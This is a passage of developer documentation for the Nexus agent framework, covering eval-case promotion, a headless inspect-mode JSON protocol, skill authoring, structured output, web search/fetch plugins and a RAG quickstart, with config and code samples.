The deterministic checks are the regression gate; the rubric is the quality gate. The two answer different questions and should both grow over time.

Warnings

PromoteResult.Warnings (printed to stderr in the CLI) flags conditions that produced a valid case but might surprise you on replay:

  • session ended with status=<X> — the source session’s metadata/session.json has a non-completed/non-active status (typically failed). The case still promotes; this warning just tells you the authoring intent is “reproduce the failure”, not “lock in a green baseline”.
  • config-snapshot.yaml not found — rare; only happens for sessions that crashed before the engine could write metadata. input/config.yaml is left as a stub with instructions; you must paste in the engine config manually.
  • journal contains non-replayable event types … — see the next section.

Warnings never fail the command. The CLI prints them and exits 0; library callers see them on PromoteResult.Warnings.

The non-replayable caveat

Replay short-circuits side effects via the journal stash. That means any event whose presence depended on a side effect failure will not re-fire under replay. Promoting such a session produces a case where the non-replayable branch is silently absent from the live observed stream.

The promoter recognises a small allow-list of these types (scaffold.go:nonReplayableTypes):

  • provider.fallback.error / provider.fallback.advance / provider.fallback.exhausted — fired when a primary provider errored and the chain advanced. Replay pops the stashed llm.response from the primary without raising the error, so the fallback never fires.
  • llm.error / tool.error — same shape; replay never re-raises the failure.
  • agent.iteration.exceeded — depends on the agent loop’s runtime behaviour. Re-derived during replay only if the same run-to-completion state holds.

When promote sees any of these in the source journal, it warns. The case still lands on disk — the deterministic-replay half of the session (the success path that did run) remains testable. But two follow-ups are usually appropriate:

  1. Tighten the synthesized event_count_bounds to exclude the non-replayable types — otherwise the case will fail with count=0 for those entries on every replay.
  2. Move the failure-mode behaviour to a live integration test under tests/integration/. The provider-fallback seed case (tests/eval/cases/provider-fallback/case.yaml) shows the pattern: the eval case validates the boot/configuration path, while a live integration test exercises the actual fallback.

Round-trip example

# 1. You ran a session yesterday — find its ID under ~/.nexus/sessions/
ls ~/.nexus/sessions/

# 2. Promote it. --no-edit skips $EDITOR; --force overwrites existing.
nexus eval promote \
  --session 20260501T143000Z-abc123 \
  --case my-regression \
  --tags reproduction,react \
  --description "Repro of the missing-tool-result bug from Apr 30." \
  --no-edit

# 3. Replay it deterministically. No API key needed.
nexus eval run --case my-regression --deterministic

# 4. Edit the assertions to taste, commit, and CI is gated against
# a future regression of the same bug.
$EDITOR tests/eval/cases/my-regression/assertions.yaml
git add tests/eval/cases/my-regression

The full pipeline runs in seconds for the typical 8–30-event session. Larger sessions scale linearly with journal length — promote does one journal pass during synthesis and copies bytes verbatim for the journal clone, so disk I/O dominates.

Library API

For embedders the surface is promote.Promote(ctx, opts):

import "github.com/frankbardon/nexus/pkg/eval/promote"

res, err := promote.Promote(ctx, promote.PromoteOptions{
    SessionDir:  "/Users/me/.nexus/sessions/<id>",
    CaseID:      "my-regression",
    CasesDir:    "/repo/tests/eval/cases",
    Owner:       "me@example.com",
    Tags:        []string{"reproduction"},
    Description: "Optional override; defaults to a synthesized stub.",
    OpenEditor:  false,
    Force:       false,
})

Reference: pkg/eval/promote/promote.go:PromoteOptions. The Phase 4 sampler will reuse this entry point: a sampled failed session becomes a Promote candidate the user can accept with one command.

Inspect-Mode Protocol

nexus eval --inspect-mode is the headless JSON-on-stdin/stdout protocol that external eval harnesses (AISI Inspect AI, Braintrust, custom CI tooling) use to drive Nexus. The binary reads one JSON object from stdin, runs a single agent turn (or multi-turn run, capped by max_turns) under the supplied config, and writes one JSON object to stdout.

This page is the durable wire-format reference. It is pinned by the schema-stability snapshot test in pkg/eval/protocol/schema_test.go. PRs that change the wire format must update both that snapshot and the documentation in this file in the same change.

Nexus does not ship a Python shim. A 15-line shim is sketched at the bottom of this page so the interop story is documented; the shim itself is out-of-tree by design (see plan.md, “No Python in this repo”).

Invoking

echo '{"schema":1, ...}' | nexus eval --inspect-mode

Flags:

  • --inspect-mode — required. Mutually exclusive with subcommands and positional args; combining them returns an INVALID_REQUEST error.
  • --timeout=<duration> — optional. Per-request deadline. When unset, the env var NEXUS_EVAL_INSPECT_TIMEOUT is honored. Default 60s.

The deadline applies to the entire request (engine boot, agent run, shutdown). Crossing it surfaces as a TIMEOUT error code.

Request

Exactly one JSON object on stdin, terminated by EOF:

{
  "schema": 1,
  "config_path": "configs/coding.yaml",
  "config_inline": "<yaml string>",
  "user_input": "explain the build error in main.go",
  "max_turns": 8,
  "metadata": { "case_id": "swe-bench-1234" }
}
FieldTypeRequiredSemantics
schemaintegeryesWire-format version. Must be 1 today.
config_pathstringone ofPath to a YAML config. ~ is expanded. Mutually exclusive with config_inline.
config_inlinestringone ofYAML config body inline. Mutually exclusive with config_path.
user_inputstringyesThe single prompt fed into the agent.
max_turnsintegernoHard cap on agent.turn.end events observed. 0 (or omitted) = no protocol-level cap; the agent’s own iteration gate still bounds the run.
metadataobjectnoOpaque pass-through. Round-tripped to the response.

Strict parsing applies: unknown fields are rejected with INVALID_REQUEST. This catches typos at the harness boundary instead of silently defaulting fields.

The runner overlays your config to make the run hermetic:

  • core.sessions.root is overridden to a temp directory under os.TempDir(). The directory is removed on exit unless NEXUS_EVAL_INSPECT_KEEP_SESSIONS=1 is set (useful for post-hoc journal forensics).
  • nexus.io.test is added to plugins.active if absent; visual transports (nexus.io.tui, nexus.io.browser, nexus.io.wails, nexus.io.oneshot) are stripped because the run must be headless.
  • plugins.nexus.io.test.inputs is set to [user_input], approval_mode to approve, timeout to 600s. Any other keys you set on nexus.io.test (notably mock_responses) are preserved.

Response

One JSON object on stdout, exit 0 on success:

{
  "schema": 1,
  "session_id": "01HK...",
  "final_assistant_message": "the build error is in line 42",
  "tool_calls": [
    {
      "tool": "shell",
      "args": { "cmd": "go build ./..." },
      "result_summary": "main.go:42: undefined: Foo",
      "duration_ms": 412
    }
  ],
  "tokens": { "input": 6213, "output": 1102 },
  "latency_ms": 18733,
  "metadata": { "case_id": "swe-bench-1234" },
  "error": null
}
FieldTypeSemantics
schemaintegerMirrors the request’s wire-format version.
session_idstringEngine-assigned session UUID. Empty if the engine never reached session bootstrap.
final_assistant_messagestringText of the final assistant llm.response (terminal FinishReason). Empty when no terminal turn fired.
tool_callsarrayOrdered tool.invoketool.result pairs in journal order. Always non-null (empty array when no tool calls fired).
tool_calls[].toolstringTool name.
tool_calls[].argsobjectParsed argument map from the agent’s invocation.
tool_calls[].result_summarystringTruncated stringification of the tool’s output (≤ 2 KB, UTF-8 safe; ellipsized when truncated). Includes any error string.
tool_calls[].duration_msintegertool.result.Ts − tool.invoke.Ts in milliseconds.
tokensobjectPer-session token totals across every llm.response.
latency_msintegerFirst-to-last journaled envelope wall time, in milliseconds.
metadataobjectRound-tripped from the request unchanged.
errorobject | nullPopulated on failure; null on success.

Errors

When the request fails, the process exits non-zero and the response’s error field is populated. This redundancy is deliberate: harnesses can key off either signal.

{
  "schema": 1,
  "tool_calls": [],
  "metadata": { "case_id": "..." },
  "error": {
    "code": "CONFIG_LOAD",
    "message": "config load: read /missing.yaml: no such file or directory"
  }
}
CodeWhenTypical recovery
INVALID_REQUESTWire-format violation: missing/extra field, both config sources set, schema mismatch, unknown field, malformed JSON, or the mode was paired with a subcommand.Fix the request envelope.
CONFIG_LOADThe named config_path could not be read, or the YAML failed to parse.Verify the path / contents.
ENGINE_BOOTPlugin initialization or capability resolution failed.Inspect engine logs; usually a missing required plugin or bad per-plugin config.
RUN_FAILEDThe engine booted and ran, but projecting the journal into the response shape failed (e.g. malformed events, unreachable journal). Mid-run agent errors generally surface via TIMEOUT when context expires or as a partial response.Inspect the response’s tool_calls, the journal under NEXUS_EVAL_INSPECT_KEEP_SESSIONS=1, or rerun under nexus eval run with the same config.
TIMEOUTThe request exceeded the deadline (flag, env, or default 60s) before reaching session-end.Raise --timeout, lower max_turns, or simplify the case.
INTERNALUnanticipated error.Treat as a Nexus bug; file an issue.

Schema versioning

The schema field is the durable contract. Bumping it is a deliberate event:

  1. Increment SchemaVersion in pkg/eval/protocol/protocol.go.
  2. Update the snapshots in pkg/eval/protocol/schema_test.go.
  3. Add a migration note to this page describing what changed and how external harnesses should adapt.

The schema-stability snapshot test enforces this discipline: a drift in field names, types, or order fails CI until the snapshot is updated deliberately.

External harness integration

Nexus does not ship a Python shim. The protocol is the contract; any language with subprocess and a JSON parser can drive it. Here is a minimal Python sketch demonstrating the wire format; copy it out-of-tree into your eval harness as needed.

# example: drive_nexus.py — NOT shipped with Nexus, copy out-of-tree.
import json
import subprocess

def run_nexus(config_path, user_input, *, max_turns=0, metadata=None,
              timeout="60s"):
    req = {
        "schema": 1,
        "config_path": config_path,
        "user_input": user_input,
    }
    if max_turns:
        req["max_turns"] = max_turns
    if metadata:
        req["metadata"] = metadata
    proc = subprocess.run(
        ["nexus", "eval", "--inspect-mode", f"--timeout={timeout}"],
        input=json.dumps(req).encode(),
        capture_output=True,
        check=False,
    )
    resp = json.loads(proc.stdout)
    if resp.get("error"):
        raise RuntimeError(f"{resp['error']['code']}: {resp['error']['message']}")
    return resp

For Inspect AI specifically, write a Solver whose __call__ drives this protocol and emits the final assistant message as the model output; score on the round-tripped metadata.

See also

  • Eval Harness Overview — the bigger picture.
  • Case Format — the on-disk eval bundle that runs through nexus eval run rather than the inspect protocol.
  • pkg/eval/protocol/ — Go source of truth for the wire format.
  • pkg/eval/protocol/schema_test.go — snapshot test pinning the format.

Writing Skills

Skills are reusable instruction sets that extend the agent’s behavior without writing Go code. A skill is a directory containing a SKILL.md file with YAML frontmatter and markdown instructions.

Skill Structure

skills/
  my-skill/
    SKILL.md         # Required: frontmatter + instructions
    resources/       # Optional: supporting files
      template.txt
      schema.json

SKILL.md Format

---
name: my-skill
description: >-
  A concise description of what this skill does and when it should
  be used. This appears in the skill catalog shown to the agent.
metadata:
  author: your-name
  version: "1.0"
---

# My Skill

## When to use
Describe the situations where this skill should be activated.

## Instructions
1. Step one...
2. Step two...
3. Step three...

Frontmatter Fields

FieldRequiredDescription
nameYesUnique skill identifier (used in activation)
descriptionYesWhat the skill does — shown in the catalog. Write this so the agent knows when to use it.
metadata.authorNoWho created this skill
metadata.versionNoVersion string
output_schemaNoInline JSON Schema for structured output (see Output Schema)
output_schema_fileNoPath to a .json schema file, relative to the skill directory

Body Content

The markdown body is loaded into the agent’s context when the skill is activated. Write it as instructions the agent should follow.

Skill Locations

Skills are discovered only from directories listed in the nexus.skills plugin’s scan_paths config — there are no implicit defaults. If scan_paths is empty, no skills are loaded.

Scope is inferred from each scan path:

Path PatternScopeTrust Level
Under user’s home .nexus/ or .agents/ treeUserAlways trusted
Anywhere elseProjectConfigurable (ask/always/never) via trust_project

Configure scan paths explicitly. Tilde paths (~, ~/...) are expanded to the user’s home directory:

nexus.skills:
  scan_paths:
    - ./skills                      # project skills, relative to cwd
    - ~/.agents/skills              # user-scope skills (tilde is expanded)

Example: Code Review Skill

---
name: code-review
description: >-
  Review code for quality, bugs, security issues, and style.
  Use when the user asks for a code review or wants feedback
  on their code changes.
metadata:
  author: nexus
  version: "1.0"
---

# Code Review

## When to use
Use this skill when the user asks you to review code, check a PR,
or provide feedback on code quality.

## Instructions
1. Read all changed files thoroughly before commenting
2. Check for these categories of issues:
   - **Bugs**: Logic errors, off-by-one, null/nil handling, race conditions
   - **Security**: Injection, XSS, hardcoded secrets, unsafe deserialization
   - **Performance**: Unnecessary allocations, N+1 queries, missing indexes
   - **Style**: Naming, formatting, idiomatic patterns for the language
   - **Design**: SOLID violations, coupling, missing abstractions
3. Prioritize findings by severity (critical > major > minor > nit)
4. For each finding, explain the issue AND suggest a fix
5. Start with a high-level summary before detailed findings
6. Acknowledge what's done well

Resources

Skills can include resource files in a resources/ subdirectory. The agent can request these via the skill.resource.read event.

skills/
  doc-analysis/
    SKILL.md
    resources/
      analysis-template.md
      output-format.json

Skill Catalog in System Prompt

When catalog_in_system_prompt: true is set on the skills plugin, discovered skills are listed in the system prompt as XML:

<skills>
  <skill name="code-review" scope="project">Review code for quality, bugs, security issues, and style.</skill>
  <skill name="doc-analysis" scope="project">Analyze documents and extract structured information.</skill>
</skills>

The agent can then decide to activate a skill based on the user’s request.

Output Schema

Skills can declare an output schema to enforce structured LLM output when the skill is active. The schema is registered with the Schema Registry on activation and deregistered on deactivation.

Inline Schema

For simple schemas, define output_schema directly in the frontmatter:

---
name: code-review
description: Review code for quality and bugs.
output_schema:
  type: object
  required: [summary, issues]
  properties:
    summary:
      type: string
    issues:
      type: array
      items:
        type: object
        required: [file, line, severity, message]
        properties:
          file: { type: string }
          line: { type: integer }
          severity: { type: string, enum: [critical, major, minor, nit] }
          message: { type: string }
---

File-Referenced Schema

For complex schemas, reference a .json file:

---
name: code-review
description: Review code for quality and bugs.
output_schema_file: resources/review.schema.json
---
skills/
  code-review/
    SKILL.md
    resources/
      review.schema.json

Paths are resolved relative to the skill directory. Absolute paths are also accepted.

Precedence

If both output_schema and output_schema_file are present, output_schema (inline) wins.

Lifecycle

  1. Skill activates → schema loaded (inline or from file) → schema.register emitted
  2. While skill is active, LLM requests are tagged with _expects_schema metadata
  3. Schema Registry attaches ResponseFormat to tagged requests
  4. Provider maps to native structured output or simulates it
  5. Skill deactivates → schema.deregister emitted → tagging stops

When to Use Inline vs File

  • Inline: Simple schemas under ~10 fields. Easy to read alongside instructions.
  • File: Complex schemas, schemas shared across skills, schemas generated or validated by external tooling.

Best Practices

  • Write clear descriptions — The description is how the agent decides whether to activate the skill. Make it specific about the trigger conditions.
  • Be prescriptive in instructions — Tell the agent exactly what to do, in what order, and what output to produce.
  • Use numbered steps — Structured instructions are easier for the agent to follow.
  • Specify output format — If you want structured output, describe the format explicitly.
  • Keep skills focused — One skill should do one thing well. Compose multiple skills rather than creating one mega-skill.
  • Test with different inputs — Verify the skill produces good results across various scenarios.

Structured Output

This guide covers how to get structured (schema-validated) output from LLM providers in Nexus. The system uses a three-layer design: schema declaration → request tagging → provider execution, with the existing json_schema gate as a safety net.

How It Works

  1. A schema is registered with the Schema Registry (via schema.register event or direct API)
  2. An LLM request is tagged with _expects_schema metadata pointing to the schema name
  3. The Schema Registry attaches a ResponseFormat to the request
  4. The provider maps ResponseFormat to its native structured output mechanism (or simulates it)
  5. The json_schema gate optionally validates the response as a safety net

Scenarios

1. Skill with Inline Output Schema

The simplest path — declare the schema directly in your SKILL.md frontmatter.

SKILL.md:

---
name: extract-entities
description: Extract named entities from text.
output_schema:
  type: object
  required: [entities]
  properties:
    entities:
      type: array
      items:
        type: object
        required: [name, type]
        properties:
          name: { type: string }
          type: { type: string, enum: [person, org, location, date] }
---

# Entity Extraction

Extract all named entities from the user's text. Return only the JSON output.

Config:

plugins:
  active:
    - nexus.skills
    - nexus.llm.openai  # or nexus.llm.anthropic
    - nexus.agent.react

No additional config needed — the skills plugin handles registration automatically.

What happens:

  1. User triggers skill activation → skills plugin loads output_schema from frontmatter
  2. Skills plugin emits schema.register with name skill.extract-entities.output
  3. On each LLM request while skill is active, skills plugin tags _expects_schema = "skill.extract-entities.output" via before:llm.request
  4. Schema Registry sees the tag, attaches ResponseFormat{Type: "json_schema", Schema: ...} to the request
  5. Provider sends structured output request to the API
  6. On deactivation, skills plugin emits schema.deregister

2. Skill with File-Referenced Schema

For complex schemas, keep them in a separate JSON file.

Directory layout:

skills/
  data-analysis/
    SKILL.md
    resources/
      analysis.schema.json

SKILL.md:

---
name: data-analysis
description: Analyze datasets and produce structured findings.
output_schema_file: resources/analysis.schema.json
---

# Data Analysis

Analyze the provided dataset and return structured findings.

resources/analysis.schema.json:

{
  "type": "object",
  "required": ["summary", "findings", "recommendations"],
  "properties": {
    "summary": { "type": "string" },
    "findings": {
      "type": "array",
      "items": {
        "type": "object",
        "required": ["metric", "value", "trend"],
        "properties": {
          "metric": { "type": "string" },
          "value": { "type": "number" },
          "trend": { "type": "string", "enum": ["up", "down", "stable"] }
        }
      }
    },
    "recommendations": {
      "type": "array",
      "items": { "type": "string" }
    }
  }
}

The path is resolved relative to the skill directory. The skills plugin loads and parses the file at activation time.

3. Embedder Requesting Structured Output

Embedders can set ResponseFormat directly on LLMRequest, bypassing the registry entirely.

// In your embedder code:
req := events.LLMRequest{
    Messages: []events.Message{
        {Role: "user", Content: "Analyze this resume..."},
    },
    ResponseFormat: &events.ResponseFormat{
        Type: "json_schema",
        Name: "candidate_score",
        Schema: map[string]any{
            "type":     "object",
            "required": []string{"name", "score", "reasoning"},
            "properties": map[string]any{
                "name":      map[string]any{"type": "string"},
                "score":     map[string]any{"type": "integer", "minimum": 1, "maximum": 10},
                "reasoning": map[string]any{"type": "string"},
            },
        },
        Strict: true,
    },
    MaxTokens: 4096,
    Stream:    true,
}

_ = bus.Emit("llm.request", req)

Use direct ResponseFormat when:

  • The schema is known at compile time and won’t change
  • You don’t need the registry’s indirection
  • You’re building a focused embedder app, not a plugin

4. Plugin Injecting Schema via before:llm.request

A custom plugin can dynamically select schemas based on conversation state.

func (p *MyPlugin) handleBeforeLLMRequest(event engine.Event[any]) {
    vp, ok := event.Payload.(*engine.VetoablePayload)
    if !ok {
        return
    }
    req, ok := vp.Original.(*events.LLMRequest)
    if !ok {
        return
    }

    // Dynamic schema selection based on request context.
    if p.shouldUseStructuredOutput(req) {
        if req.Metadata == nil {
            req.Metadata = make(map[string]any)
        }
        req.Metadata["_expects_schema"] = "my_plugin.output_schema"
    }
}

This pattern works when:

  • Schema varies based on conversation state or user input
  • Plugin registers multiple schemas and picks one per request
  • You want registry-based resolution but custom tagging logic

5. Belt-and-Suspenders with json_schema Gate

Enable both structured output and the json_schema gate for defense-in-depth.

plugins:
  active:
    - nexus.skills
    - nexus.gate.json_schema
    - nexus.llm.openai
    - nexus.agent.react

  nexus.gate.json_schema:
    schema:
      type: object
      required: [entities]
      properties:
        entities:
          type: array
    max_retries: 2

How they interact:

  • Schema Registry drives generation — provider sends structured output request
  • json_schema gate validates output — checks _structured_output metadata
  • When _structured_output is true (provider enforced), the gate skips validation
  • When _structured_output is absent or false, the gate validates and retries as usual

This gives you native enforcement where available plus validation fallback everywhere else.

Provider Behavior

Providerjson_objectjson_schemaMetadata
OpenAINative response_formatNative response_format with strict mode_structured_output: true
AnthropicNot supportedSimulated via tool-use-as-schema_structured_output: true
UnknownIgnoredIgnoredNo flag set

Anthropic Simulation Details

Since Anthropic doesn’t support response_format, the provider simulates json_schema mode:

  1. Injects a synthetic tool _structured_output with the schema as its input_schema
  2. Forces tool_choice to {"type": "tool", "name": "_structured_output"}
  3. Claude returns structured data as tool call arguments
  4. Provider unwraps tool arguments back into LLMResponse.Content
  5. During streaming, tool input deltas are emitted as content chunks

This overrides any existing ToolChoice on the request.

Web Search & Fetch

Nexus gives agents two tools for doing research on the live web:

  • web_search — returns a ranked list of URLs + titles + snippets for a query.
  • web_fetch — downloads one URL and returns its main article text (or raw text for non-article pages).

They are intentionally split so the agent can triage first and only pay for full-page reads on the hits it actually cares about.

Architecture at a glance

LLM turn
   │
   ▼
web_search tool  ──►  search.request event  ──►  search.provider plugin  ──►  HTTP API
                                                                                │
                                           bus fills SearchRequest.Results  ◄──┘
   ▼
LLM picks a URL, calls web_fetch
   │
   ▼
web_fetch tool  ──►  http.Client  ──►  go-readability / x/net/html  ──►  tool.result

The web tool plugin (nexus.tool.web) is the only plugin that registers tools with the catalog. Search providers are separate plugins that advertise the abstract search.provider capability. This mirrors how the LLM provider system works: one consumer, pluggable backends, resolved by capability name at boot.

Plugins

Plugin IDRoleNotes
nexus.tool.webRegisters web_search and web_fetch. Emits search.request.Requires a search.provider to be active. Holds the fetch cache.
nexus.search.bravesearch.provider via the Brave Search API.Needs BRAVE_API_KEY. Free tier: 2k queries/month.
nexus.search.anthropic_nativesearch.provider via Anthropic’s built-in web_search tool.Needs ANTHROPIC_API_KEY. Bills to your Anthropic account at the native web-search rate. Works even when your LLM provider is OpenAI.
nexus.search.openai_nativesearch.provider via OpenAI’s Responses API with the built-in web_search tool.Needs OPENAI_API_KEY. Works even when your LLM provider is Anthropic.

Adding a new adapter later (Tavily, Exa, Serper, Kagi, a private Searx instance) is a matter of writing a plugin that:

  1. Advertises Capabilities() = [{Name: "search.provider"}]
  2. Subscribes to search.request and fills the result in place

No changes to nexus.tool.web or to any agent are needed. See the existing adapters in plugins/search/ for reference.

Minimum config

plugins:
  active:
    - nexus.agent.react
    - nexus.llm.anthropic
    - nexus.tool.web
    - nexus.search.brave   # pick exactly one search provider

  nexus.search.brave:
    api_key_env: BRAVE_API_KEY
    timeout: 15s

  nexus.tool.web:
    search:
      count: 10
      safe_search: moderate
    fetch:
      timeout: 20s
      max_size: 5MB
      extract_mode: readability

If more than one plugin advertising search.provider is active, the engine picks the first in plugins.active order and emits a WARN. Pin one explicitly with a top-level capabilities: block:

capabilities:
  search.provider: nexus.search.anthropic_native

plugins:
  active:
    - nexus.search.brave                 # still active; pin overrides
    - nexus.search.anthropic_native

Configuration reference

nexus.tool.web

KeyTypeDefaultDescription
search.countint10Default max results when the LLM omits count.
search.safe_searchstringmoderateProvider-dependent safety filter. off / moderate / strict.
search.languagestring(empty)BCP-47 language tag forwarded to the provider.
fetch.timeoutduration20sPer-fetch HTTP timeout.
fetch.max_sizebytes5MBHard cap on response body. Excess truncates and errors.
fetch.user_agentstringNexus/0.1 ...User-Agent header.
fetch.extract_modestringreadabilityreadability or raw. Per-call override via the tool’s extract arg.
fetch.allowed_domainslist(empty)When set, only these domains (and subdomains) are fetchable.
fetch.blocked_domainslist(empty)Always denied, even if allowed_domains includes them.
fetch.follow_redirectsbooltrueFollow 3xx redirects.
fetch.max_redirectsint5Redirect chain limit.

nexus.search.brave

KeyTypeDefaultDescription
api_keystringBrave API key (direct literal).
api_key_envstringBRAVE_API_KEYEnv var name to read the key from when api_key is unset.
timeoutduration15sHTTP timeout.

nexus.search.anthropic_native

KeyTypeDefaultDescription
api_keystringAnthropic API key.
api_key_envstringANTHROPIC_API_KEYFallback env var.
modelstringclaude-haiku-4-5-20251001Model used for the one-shot search call. Haiku keeps it cheap.
timeoutduration30sHTTP timeout (search requires a full LLM round trip).

nexus.search.openai_native

KeyTypeDefaultDescription
api_keystringOpenAI API key.
api_key_envstringOPENAI_API_KEYFallback env var.
base_urlstringhttps://api.openai.com/v1/responsesOverride for Azure/compatible endpoints.
modelstringgpt-4o-miniModel used for the Responses call.
timeoutduration30sHTTP timeout.

Tool surface

ArgumentTypeRequiredNotes
querystringyesThe search query.
countintnoMax results. Defaults to search.count.
freshnessstringnoday / week / month. Adapter best-effort.
languagestringnoBCP-47 tag. Adapter best-effort.

Output format: a numbered list of results followed by a JSON payload in the same string. The JSON carries the raw SearchResult structs for consumers that want to parse programmatically (e.g. a downstream tool chained via run_code).

web_fetch

ArgumentTypeRequiredNotes
urlstringyesAbsolute http or https URL.
extractstringnoreadability (default) or raw.

Output is text with a small header block (URL, Title, Byline, Summary, Extract). Readability failures return an error — the agent should retry with extract='raw' rather than silently degrade.

Session caching

Fetch results are memoized inside the plugin keyed on (extract-mode, final-URL) for the duration of the session. This matters because an agent often searches → fetches a URL → reasons → re-fetches the same URL later in the same turn when the conversation loops back to it. The cache clears on io.session.end, so recalling a session in a new engine boot starts fresh.

Search results are not cached (queries are high cardinality and cheap enough).

Gate interaction

Both tools emit through the normal vetoable before:tool.result hook, so every existing gate applies without extra wiring:

GateEffect on web tools
nexus.gate.content_safetyPII/secret redaction or blocking on fetched page content and on search snippets.
nexus.gate.output_lengthTruncates oversized page extractions with an LLM retry.
nexus.gate.tool_filterAllow- or block-list web_search / web_fetch per profile without removing the plugin.
nexus.gate.prompt_injectionRuns on the LLM’s input, including anything the agent pastes back from a fetch result.

No new gate is needed specifically for the web tools. If you want to constrain fetch targets to a fixed set of sites, use fetch.allowed_domains — policy at the fetch layer is cheaper and clearer than a custom gate.

Choosing an adapter

You want…Pick
Cheapest dedicated search API, free tier, LLM-agnosticnexus.search.brave
Zero additional API keys, already paying Anthropicnexus.search.anthropic_native
Zero additional API keys, already paying OpenAInexus.search.openai_native
Fanout / redundancy across multiple providerspin one primary, layer a future fallback adapter

The native adapters make an extra LLM round-trip to Claude/OpenAI to execute the search. This adds latency (roughly one LLM call on top of the downstream search) but means you do not need a second vendor. They are particularly handy during early prototyping, when shipping another API key is more friction than the latency cost.

Bus contract

Everything flows through one event pair. Knowing the shape is enough to write your own adapter.

// pkg/events/search.go
type SearchRequest struct {
    Query      string
    Count      int
    SafeSearch string
    Language   string
    Freshness  string

    // Filled by the provider:
    Results  []SearchResult
    Provider string
    Error    string
}

type SearchResult struct {
    Title       string
    URL         string
    Snippet     string
    PublishedAt time.Time
    Source      string
}

The request is emitted as a pointer payload on search.request. Handlers mutate it in place before Emit returns, so the tool plugin sees the result synchronously. This is the same pattern as tool.catalog.query and memory.history.query.

Adapter handlers must:

  1. Ignore the event if req.Provider != "" (someone else already answered).
  2. Set req.Provider = pluginID whether the call succeeded or failed.
  3. Set req.Error or req.Results, not both.

Writing a new adapter

package tavily

import (
    "github.com/frankbardon/nexus/pkg/engine"
    "github.com/frankbardon/nexus/pkg/events"
)

const pluginID = "nexus.search.tavily"

type Plugin struct{ /* … */ }

func (p *Plugin) Capabilities() []engine.Capability {
    return []engine.Capability{{Name: "search.provider"}}
}

func (p *Plugin) Init(ctx engine.PluginContext) error {
    // … wire config, HTTP client, API key …
    p.bus = ctx.Bus
    p.bus.Subscribe("search.request", p.handleSearch,
        engine.WithPriority(50), engine.WithSource(pluginID))
    return nil
}

func (p *Plugin) handleSearch(e engine.Event[any]) {
    req, ok := e.Payload.(*events.SearchRequest)
    if !ok || req.Provider != "" {
        return
    }
    results, err := p.callTavily(req)
    req.Provider = pluginID
    if err != nil {
        req.Error = err.Error()
        return
    }
    req.Results = results
}

Register the factory in pkg/engine/allplugins/register.go and add a search section to your config. The web tool picks it up automatically via the capability system.

Troubleshooting

  • no search provider answered — check that a plugin advertising 'search.provider' is active The web tool dispatched a search but no adapter handled it. Activate one of the provided adapters or your own.

  • readability extraction failed … (try extract='raw') The page is not an article (docs site, table, forum, dashboard). Re-call with extract: raw.

  • host "example.com" is not allowed by policy Your fetch.allowed_domains or fetch.blocked_domains rejected the URL. Adjust the list or remove the restriction.

  • HTTP 401/403 from the adapter Check the API key env var. Each adapter logs the variable it looked at during boot.

Retrieval-Augmented Generation (RAG)

Nexus has first-class RAG support built from two primitive capabilities (embeddings.provider, vector.store) and three consumer plugins (nexus.rag.ingest, nexus.tool.knowledge_search, nexus.memory.vector). Each layer is swappable via the standard capability/adapter system, so adding a new vector backend or embedding provider doesn’t ripple through any other code.

This guide walks through the common path: stand up a knowledge base, point an agent at it, and let the LLM cite sources. Reference docs for each plugin live under Plugin Reference — the goal here is to give you a working setup in ten minutes.

What you get

  • Knowledge-base search: knowledge_search tool the LLM calls to pull supporting passages from configured namespaces. Returns top-k chunks with similarity scores and source paths for citation.
  • Per-agent semantic memory: automatic recall of relevant past content (compaction summaries, explicit stores) on every user turn, injected into the system prompt.
  • Bulk-ingest CLI: nexus ingest boots a minimal engine to chunk, embed, and store files without a running agent.
  • Watch-mode ingestion: fsnotify-backed directory watchers re-ingest files on write and drop chunks on delete.

Architecture at a glance

flowchart TB
    subgraph Caps["⚡ Capabilities"]
        direction LR
        EP["embeddings.provider<br/><sub>nexus.embeddings.openai · …</sub>"]
        VS["vector.store<br/><sub>nexus.vectorstore.chromem · …</sub>"]
    end

    subgraph Consumers["🔌 Consumer plugins"]
        direction LR
        ING["nexus.rag.ingest<br/><sub>chunk + cache + fsnotify</sub>"]
        KS["nexus.tool.knowledge_search<br/><sub>LLM-facing tool</sub>"]
        MV["nexus.memory.vector<br/><sub>per-agent recall</sub>"]
    end

    ING -- embeddings.request --> EP
    KS  -- embeddings.request --> EP
    MV  -- embeddings.request --> EP

    ING -- vector.upsert --> VS
    KS  -- vector.query  --> VS
    MV  -- vector.query / upsert --> VS

    classDef cap fill:#1e3a5f,stroke:#4a90e2,stroke-width:2px,color:#fff;
    classDef consumer fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
    class EP,VS cap;
    class ING,KS,MV consumer;

Everything flows through the bus. No plugin imports another. Adding a new backend means writing one plugin that advertises a capability and subscribes to its events.

Quickstart

1. Provide an OpenAI API key

The default embedding adapter calls OpenAI’s text-embedding-3-small model. Set the key in env or .env:

export OPENAI_API_KEY=sk-...

You can also keep your existing Anthropic key for the LLM — embeddings and chat use different keys.

2. Ingest some content

Bulk-load a directory using the CLI subcommand:

bin/nexus ingest --namespace=kb --glob="*.md" ./docs

Output looks like:

OK   docs/getting-started/installation.md  (3 chunks, 0 cached)
OK   docs/architecture/overview.md         (5 chunks, 0 cached)
...
ingested 24 file(s), 0 failed; 87 chunks total (0 from cache)

Files persist to ~/.nexus/vectors/<namespace>/. Re-running the same command shows 87 chunks total (87 from cache) — the embedding cache shortcuts unchanged content.

3. Run an agent that knows about it

The configs/rag.yaml profile wires everything up:

bin/nexus -config configs/rag.yaml

You can ask the agent questions about the ingested content:

> What does the docs say about the plugin lifecycle?

[The agent calls knowledge_search → top hits from architecture/plugin-system.md]

The plugin lifecycle has three phases: Init, Ready, and Shutdown.
During Init, plugins receive a PluginContext with config, bus, logger,
and registry handles. Ready runs after every plugin's Init has
completed... (source: docs/architecture/plugin-system.md, chunk 2)

That’s the full happy path. The rest of this guide covers the moving parts.

Plugins

Plugin IDRole
nexus.embeddings.openaiembeddings.provider — OpenAI embeddings API
nexus.embeddings.mockembeddings.provider — deterministic hash-based vectors for tests, no network
nexus.vectorstore.chromemvector.store — chromem-go backend, pure Go, JSON on-disk persistence
nexus.rag.ingestIngestion: chunker + embedding cache + fsnotify watcher; backs nexus ingest
nexus.tool.knowledge_searchLLM-facing search tool; mirrors web_search for configured knowledge bases
nexus.memory.vectorPer-agent semantic recall; advertises memory.vector

Common configurations

Knowledge base only

The agent has a knowledge_search tool but no automatic recall. Good when you want full LLM control over when retrieval happens.

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
